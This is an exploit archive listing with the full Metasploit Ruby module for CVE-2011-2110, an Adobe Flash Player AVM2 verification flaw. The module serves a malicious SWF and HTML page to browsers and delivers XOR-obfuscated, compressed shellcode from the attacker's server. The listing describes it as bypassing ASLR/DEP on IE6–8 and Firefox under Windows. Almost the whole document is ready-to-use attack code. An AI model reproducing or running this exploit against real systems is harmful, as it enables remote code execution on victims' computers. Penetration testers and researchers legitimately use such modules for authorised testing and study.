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Adobe Flash Player AVM Verification Logic Array Indexing Code Execution

Adobe Flash Player AVM Verification Logic Array Indexing Code Execution
Posted Jun 20, 2012
Authored by mr_me | Site metasploit.com

This Metasploit module exploits a vulnerability in Adobe Flash Player versions 10.3.181.23 and earlier. This issue is caused by a failure in the ActionScript3 AVM2 verification logic. This results in unsafe JIT(Just-In-Time) code being executed. This is the same vulnerability that was used for attacks against Korean based organizations. Specifically, this issue occurs when indexing an array using an arbitrary value, memory can be referenced and later executed. Taking advantage of this issue does not rely on heap spraying as the vulnerability can also be used for information leakage. Currently this exploit works for IE6, IE7, IE8, Firefox 10.2 and likely several other browsers under multiple Windows platforms. This exploit bypasses ASLR/DEP and is very reliable.

tags | exploit, arbitrary
systems | windows
advisories | CVE-2011-2110, OSVDB-48268
SHA-256 | e26bbead67100b455a3fddb8cfcf7df0baddef6b4fbc68f4cc261a2c4dea9972

Adobe Flash Player AVM Verification Logic Array Indexing Code Execution

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##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})
super(update_info(info,
'Name' => 'Adobe Flash Player AVM Verification Logic Array Indexing Code Execution',
'Description' => %q{
This module exploits a vulnerability in Adobe Flash Player versions 10.3.181.23
and earlier. This issue is caused by a failure in the ActionScript3 AVM2 verification
logic. This results in unsafe JIT(Just-In-Time) code being executed. This is the same
vulnerability that was used for attacks against Korean based organizations.

Specifically, this issue occurs when indexing an array using an arbitrary value,
memory can be referenced and later executed. Taking advantage of this issue does not rely
on heap spraying as the vulnerability can also be used for information leakage.

Currently this exploit works for IE6, IE7, IE8, Firefox 10.2 and likely several
other browsers under multiple Windows platforms. This exploit bypasses ASLR/DEP and
is very reliable.
},
'License' => MSF_LICENSE,
'Author' =>
[
'mr_me <steventhomasseeley[at]gmail.com>', # msf exploit,
'Unknown' # malware version seen used in targeted attacks
],
'Version' => '$Revision$',
'References' =>
[
['CVE', '2011-2110'],
['OSVDB', '48268'],
['URL', 'http://www.adobe.com/devnet/swf.html'],
['URL', 'http://www.adobe.com/support/security/bulletins/apsb11-18.html'],
['URL', 'http://www.accessroot.com/arteam/site/download.php?view.331'],
['URL', 'http://www.shadowserver.org/wiki/pmwiki.php/Calendar/20110617'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'HTTP::compression' => 'gzip',
'HTTP::chunked' => true,
'InitialAutoRunScript' => 'migrate -f'
},
'Payload' =>
{
'Space' => 2000,
'BadChars' => "\x00",
'DisableNops' => true
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {}],
],
'DisclosureDate' => 'Jun 21 2012',
'DefaultTarget' => 0))
end

def exploit
# src for the flash file: external/source/exploits/CVE-2011-2110/CVE-2011-2110.as
# full aslr/dep bypass using the info leak as per malware
path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2011-2110.swf" )
fd = File.open( path, "rb" )
@swf = fd.read(fd.stat.size)
fd.close
super
end

def check_dependencies
use_zlib
end

def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'

if agent =~ /MSIE/
return targets[0] # ie 6/7/8 tested working
elsif agent =~ /Firefox/
return targets[0] # ff 10.2 tested working
else
return nil
end
end

def on_request_uri(cli, request)
agent = request.headers['User-Agent']
my_target = get_target(agent)

# Avoid the attack if the victim doesn't have the same setup we're targeting
if my_target.nil?
print_error("#{cli.peerhost}:#{cli.peerport} - Browser not supported: #{agent.to_s}")
send_not_found(cli)
return
end

xor_byte = 122
trigger = @swf
trigger_file = rand_text_alpha(rand(6)+3) + ".swf"
code = rand_text_alpha(rand(6)+3) + ".txt"

sc = Zlib::Deflate.deflate(payload.encoded)
shellcode = ""

sc.each_byte do | c |
shellcode << (xor_byte ^ c)
end

uri = ((datastore['SSL']) ? "https://" : "http://")
uri << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST'])
uri << ":#{datastore['SRVPORT']}#{get_resource()}/#{code}"

bd_uri = Zlib::Deflate.deflate(uri)

uri = ""
bd_uri.each_byte do | c |
uri << (xor_byte ^ c)
end

bd_uri = uri.unpack("H*")[0]

obj_id = rand_text_alpha(rand(6)+3)

if request.uri.match(/\.swf/i)
print_status("Sending malicious swf")
send_response(cli, trigger, { 'Content-Type' => 'application/x-shockwave-flash' })
return
end

if request.uri.match(/\.txt/i)
print_status("Sending payload")
send_response(cli, shellcode, { 'Content-Type' => 'text/plain' })
return
end

html = <<-EOS
<html>
<head>
</head>
<body>
<center>
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
id="#{obj_id}" width="600" height="400"
codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
<param name="movie" value="#{get_resource}/#{trigger_file}?info=#{bd_uri}" />
<embed src="#{get_resource}/#{trigger_file}?info=#{bd_uri}" quality="high"
width="320" height="300" name="#{obj_id}" align="middle"
allowNetworking="all"
type="application/x-shockwave-flash"
pluginspage="http://www.macromedia.com/go/getflashplayer">
</embed>
</object>
</center>
</body>
</html>
EOS

html = html.gsub(/^\t\t/, '')

print_status("Sending #{self.name} HTML")
send_response(cli, html, { 'Content-Type' => 'text/html' })
end
end
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